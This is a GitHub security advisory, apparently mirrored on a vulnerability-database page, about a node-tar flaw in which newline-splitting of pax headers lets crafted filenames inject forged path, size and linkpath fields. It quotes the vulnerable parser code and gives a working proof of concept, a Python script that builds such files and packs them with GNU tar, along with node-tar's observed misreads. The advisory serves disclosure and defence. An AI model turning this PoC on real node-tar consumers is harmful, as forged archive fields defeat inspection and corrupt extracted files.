GHSA-RGJP-P5J7-W36X
Vulnerability from github – Published: 2026-12-02 01:38 – Updated: 2026-12-02 01:38Summary
node-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid <length> key=value line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (path, size, linkpath, mode, uid, gid, mtime) driven by a single attacker-controlled filename or crafted archive.
Details
// src/pax.ts:151-167
const parseKV = (str) =>
str.replace(/\n$/, '').split('\n') // <- splits INSIDE length-valid record values
.reduce(parseKVLine, Object.create(null))
const parseKVLine = (set, line) => {
const n = parseInt(line, 10)
// XXX Values with \n in them will fail this.
// Refactor to not be a naive line-by-line parse.
if (n !== Buffer.byteLength(line) + 1) return set // record dropped when its value contained '\n'
line = line.slice((n + ' ').length)
// ... a forged '<len> key=value' fragment is then ACCEPTED as a real record
}
POSIX pax records are <len> key=value\n, where <len> counts the entire record including any newline inside the value. Splitting on \n breaks a record whose value contains a newline into fragments: the leading fragment fails the n === byteLength+1 check and is discarded, and a trailing fragment such as 24 path=forged-name.txt passes the check and is applied. The maintainer's own in-code XXX comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript +v (src/pax.ts:196, 205), so size=0x10, size=1e3, size=1.5, and size=Infinity parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.
PoC
Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.
# create files whose names embed a newline + a forged record tail, pack with a compliant packer
python3 - <<'EOF'
import os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)
open(os.path.join(d,'A'*95+'\nTAIL1.txt'),'w').write('PAX-DEPENDENT\n') # legit newline name
open(os.path.join(d,'B'*95+'\n'+'24 path=forged-name.txt'),'w').write('INJECTED\n') # forged path
open(os.path.join(d,'C'*95+'\n'+'10 size=0'),'w').write('EIGHTBYTS') # forged size (true 9)
open(os.path.join(d,'D'*95+'\n'+'14 linkpath=a'),'w').write('X') # forged linkpath on a File
EOF
tar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .
Observed reading /tmp/paxnl/gnu.tar:
GNU tar / Python : true names, len 107-121, correct sizes, linkpath ''
node-tar t() : pathlen=100 size=14 (A: newline record dropped -> truncated)
pathlen=100 size=0 (C: forged size=0, true size 9)
pathlen=100 linkpath="a" (D: forged linkpath on a plain File)
pathlen=15 "forged-name.txt" size=9 (B: forged path applied)
node-tar x() : materializes 'forged-name.txt' on disk; A/C/D under truncated names
GNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged linkpath on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged size feeds the meta-entry desync (advisory 02).
Impact
Integrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary path, size, linkpath, mode, uid/gid, or mtime to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with preservePaths the forged path may be absolute or contain ... node-tar also cannot round-trip archives it writes itself when filenames contain newlines.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "7.5.0"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140235"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-02T01:38:49Z",
"nvd_published_at": "2026-12-01T18:17:27Z",
"severity": "HIGH"
},
"details": "### Summary\nnode-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line\u0027s length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid `\u003clength\u003e key=value` line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (`path`, `size`, `linkpath`, `mode`, `uid`, `gid`, `mtime`) driven by a single attacker-controlled filename or crafted archive.\n\n### Details\n```ts\n// src/pax.ts:151-167\nconst parseKV = (str) =\u003e\n str.replace(/\\n$/, \u0027\u0027).split(\u0027\\n\u0027) // \u003c- splits INSIDE length-valid record values\n .reduce(parseKVLine, Object.create(null))\nconst parseKVLine = (set, line) =\u003e {\n const n = parseInt(line, 10)\n // XXX Values with \\n in them will fail this.\n // Refactor to not be a naive line-by-line parse.\n if (n !== Buffer.byteLength(line) + 1) return set // record dropped when its value contained \u0027\\n\u0027\n line = line.slice((n + \u0027 \u0027).length)\n // ... a forged \u0027\u003clen\u003e key=value\u0027 fragment is then ACCEPTED as a real record\n}\n```\n\nPOSIX pax records are `\u003clen\u003e key=value\\n`, where `\u003clen\u003e` counts the entire record including any newline inside the value. Splitting on `\\n` breaks a record whose value contains a newline into fragments: the leading fragment fails the `n === byteLength+1` check and is discarded, and a trailing fragment such as `24 path=forged-name.txt` passes the check and is applied. The maintainer\u0027s own in-code `XXX` comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript `+v` (src/pax.ts:196, 205), so `size=0x10`, `size=1e3`, `size=1.5`, and `size=Infinity` parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.\n\n### PoC\nValidated on source main @ 2a22bfc and against the published npm package `tar@7.5.22`, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.\n\n```bash\n# create files whose names embed a newline + a forged record tail, pack with a compliant packer\npython3 - \u003c\u003c\u0027EOF\u0027\nimport os; d=\u0027/tmp/paxnl/src\u0027; os.makedirs(d, exist_ok=True)\nopen(os.path.join(d,\u0027A\u0027*95+\u0027\\nTAIL1.txt\u0027),\u0027w\u0027).write(\u0027PAX-DEPENDENT\\n\u0027) # legit newline name\nopen(os.path.join(d,\u0027B\u0027*95+\u0027\\n\u0027+\u002724 path=forged-name.txt\u0027),\u0027w\u0027).write(\u0027INJECTED\\n\u0027) # forged path\nopen(os.path.join(d,\u0027C\u0027*95+\u0027\\n\u0027+\u002710 size=0\u0027),\u0027w\u0027).write(\u0027EIGHTBYTS\u0027) # forged size (true 9)\nopen(os.path.join(d,\u0027D\u0027*95+\u0027\\n\u0027+\u002714 linkpath=a\u0027),\u0027w\u0027).write(\u0027X\u0027) # forged linkpath on a File\nEOF\ntar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .\n```\n\nObserved reading `/tmp/paxnl/gnu.tar`:\n```\nGNU tar / Python : true names, len 107-121, correct sizes, linkpath \u0027\u0027\nnode-tar t() : pathlen=100 size=14 (A: newline record dropped -\u003e truncated)\n pathlen=100 size=0 (C: forged size=0, true size 9)\n pathlen=100 linkpath=\"a\" (D: forged linkpath on a plain File)\n pathlen=15 \"forged-name.txt\" size=9 (B: forged path applied)\nnode-tar x() : materializes \u0027forged-name.txt\u0027 on disk; A/C/D under truncated names\n```\nGNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged `linkpath` on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged `size` feeds the meta-entry desync (advisory 02).\n\n### Impact\nIntegrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary `path`, `size`, `linkpath`, `mode`, `uid`/`gid`, or `mtime` to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with `preservePaths` the forged path may be absolute or contain `..`. node-tar also cannot round-trip archives it writes itself when filenames contain newlines.",
"id": "GHSA-rgjp-p5j7-w36x",
"modified": "2026-12-02T01:38:49Z",
"published": "2026-12-02T01:38:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-rgjp-p5j7-w36x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140235"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.